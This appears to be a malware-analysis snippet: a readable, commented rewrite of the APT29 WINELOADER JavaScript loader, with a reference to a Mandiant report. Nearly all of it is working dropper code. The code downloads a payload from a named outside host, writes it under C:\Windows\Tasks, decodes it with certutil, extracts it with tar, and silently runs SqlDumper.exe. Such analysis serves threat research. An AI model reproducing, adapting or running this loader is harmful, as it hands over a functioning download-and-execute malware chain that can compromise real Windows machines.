An easier to read and understand version of the loader used by APT29 for WINELOADER. RE: https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties

APT29 WINELOADER SCRIPT.JS

// Create a new ActiveXObject for Wscript.Shell
var shell = new ActiveXObject("Wscript.Shell");

// Define the Main function with a parameter for the URL
function Main(url) {
  // Create a new XMLHttpRequest object
  var request = new XMLHttpRequest();

  // Define an event handler for when the request state changes
  request.onreadystatechange = function () {
    // Check if the request is completed and successful
    if (request.readyState == 4 && request.status == 200) {
      // Get the response data from the request
      var responsedata = request.response;

      // Create a new ActiveXObject for Scripting.FileSystemObject
      var fso = new ActiveXObject("Scripting.FileSystemObject");

      // Open a text file at "C:\\Windows\\Tasks\\invite.txt" for writing
      var file = fso.OpenTextFile("C:\\Windows\\Tasks\\invite.txt", 2, true, 0);

      // Write the response data to the text file
      file.Write(responsedata);

      // Close the text file
      file.close();

      // Run a command using Wscript.Shell to decode the file and save as invite.zip
      shell.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows\\Tasks\\invite.zip", 0);

      // Delay execution for a period of time (0xbb8 milliseconds)
      var startTime = Date.now();
      var currentTime = null;
      do {
        currentTime = Date.now();
      } while (currentTime - startTime < 3000); // This is 0xbb8 milliseconds

      // Extract the contents of invite.zip using tar command
      shell.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks\\ ", 0);

      // Delay execution again (0xdac milliseconds)
      startTime = Date.now();
      currentTime = null;
      do {
        currentTime = Date.now();
      } while (currentTime - startTime < 3500); // This is 0xdac milliseconds

      // Run a command to execute SqlDumper.exe
      shell.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0);
    }
  };

  // Open a GET request to the specified URL
  request.open("GET", url, true);

  // Send the request with no additional data
  request.send(null);
}

// Define the URL as a variable
var url = "https://waterforvoiceless.org/util.php";

// Call the Main function with the URL variable
Main(url);